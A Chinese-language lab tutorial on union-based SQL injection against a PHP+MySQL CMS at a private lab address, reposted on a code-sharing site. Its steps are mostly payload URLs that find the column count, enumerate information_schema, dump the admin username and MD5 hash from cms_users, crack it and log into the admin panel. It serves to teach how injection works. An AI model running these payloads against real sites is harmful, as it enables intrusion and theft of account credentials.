SQL注入之PHP+Mysql


PHP+Mysql(GET方法+數值型+有錯誤回顯)的注入方法

 

目標系統:PHP+MYSQL(GET方法+數值型+有錯誤信息)

環境說明:

后台地址:http://ip/cms/admin/login.php
漏洞URL:http://ip/cms/show.php?id=35

 

引發漏洞文件:

shop.php和common.function.php

漏洞成因:
直接將URL傳入的參數值與sql語句拼接,沒有對傳入參數進行任何過濾,導致sql注入漏洞。

操作步驟:

步驟1

操作:打開任意新聞的URL,如

http://ip/cms/show.php?id=35

實驗現象截圖:

http://192.168.1.9/cms/show.php?id=35 

 

步驟2

目的:判斷注入點,看到有id=的參數就想到可能有注入點

操作1:在URL后添加“’”測試是否存在SQL注入,報錯證明有SQL注入。

實驗現象截圖:

根據錯誤信息判斷應該是mysql數據庫

http://192.168.1.9/cms/show.php?id=35'

 

http://192.168.1.9/cms/show.php?id=35 and 1=1

 

http://192.168.1.9/cms/show.php?id=35 and 1=2

步驟3 判斷字段長度:
目的: 判斷字段長度
操作:利用order by N,從數字1開始替代N,直到返回錯誤頁面,判斷字段長度為錯誤頁面的N-1,也就是最后一個正常頁面返回。

http://192.168.1.9/cms/show.php?id=35%20order%20by%2016

實驗現象截圖:

字段長度15

步驟4 判斷字段位置回顯:

目的:判斷字段位置回顯

操作:利用and 1=2 union select 1,2,3,4,5,……,15,最后一個數為字段長度,有回顯會將相應數字顯示出來。從下圖可知,3和11的位置可以回顯信息。

http://ip/cms/show.php?id=35 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

 

實驗現象截圖:

http://192.168.1.9/cms/show.php?id=35 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

 

步驟5判斷數據庫信息:

目的:判斷數據庫信息

操作:利用and 1=2 union select 1,2,sql_command,4,5,6,7,8,9,10,11,12,13,14,15,用sql指令替換sql_command。如:and 1=2 union select 1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15這個語句是查看版本的。

database()查看數據庫;查看當前用戶user()

 

http://ip/cms/show.php?id=35%20and%201=2%20union%20select%201,2,version(),4,5,6,7,8,9,10,11,12,13,14,15

實驗現象截圖:

http://192.168.1.9/cmsshow.php?id=35 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,database(),12,13,14,15

步驟6判斷mysql所有數據庫名稱:

目的:判斷mysql所有數據庫名稱

操作:利用and 1=2 union select 1,2,group_concat(convert(SCHEMA_NAME using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.SCHEMATA,查看mysql中所有數據庫的名稱。可知業務數據庫為cms。

 

實驗現象截圖:

http://192.168.1.9/cms/show.php?id=35 and 1=2 union select 1,2,group_concat(convert(SCHEMA_NAME using latin1),4,5,6,7,8,9,10,11,12,13,14,15 from 
information_schema.SCHEMATA

 

關鍵列:pass、name

步驟7判斷數據庫表名稱:

目的: 判斷數據庫表名稱

操作:利用and 1=2 union select 1,2,group_concat(convert(table_name using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database(),查看cms數據庫擁有的所有表。可以發現存放用戶信息的表cms_users。

 

實驗現象截圖:

http://192.168.1.9/cms/show.php?id=35 and 1=2 union select 1,2,group_concat(convert(table_name using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from 
information_schema.tables where table_schema=database()

步驟8判斷數據表的所有列列名:

目的:判斷數據表的所有列列名

操作:利用and 1=2 union select 1,2,group_concat(convert(column_name using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_name=0x636D735F7573657273。

table_name=cms_users,表名需要編碼為16進制。得到3個列:userid,username和password

實驗現象截圖:

http://192.168.1.9/cms/show.php?id=35 and 1=2 union select 1,2,group_concat(convert(column_name using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from 
information_schema.columns where table_schema=database() and table_name=0x636D735F7573657273

  

步驟9  判斷管理員賬號密碼:

目的:判斷管理員賬號密碼

操作:利用and 1=2 union select 1,2,concat_ws(0x2b,userid,username,password),4,5,6,7,8,9,10,11,12,13,14,15 from cms.cms_users。得到管理員賬號密碼為:admin/e10adc3949ba59abbe56e057f20f883e

 

實驗現象截圖:

http://192.168.1.9/cms/show.php?id=35 and 1=2 union select 1,2,group_concat(convert(username using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from cms.cms_users

 

http://192.168.1.9/cmsshow.php?id=35 and 1=2 union select 1,2,group_concat(convert(password using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from cms.cms_users

步驟10 破解密碼

目的: 破解密碼

操作:登錄md5.com解密

實驗現象截圖:

 

步驟11 登錄后台:使用admin/123456登錄后台
目的: 登錄后台

操作:登錄http://192.168.1.9/cms/admin/login.php

實驗現象截圖:

2018-11-22 21:01:08 byskkip


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM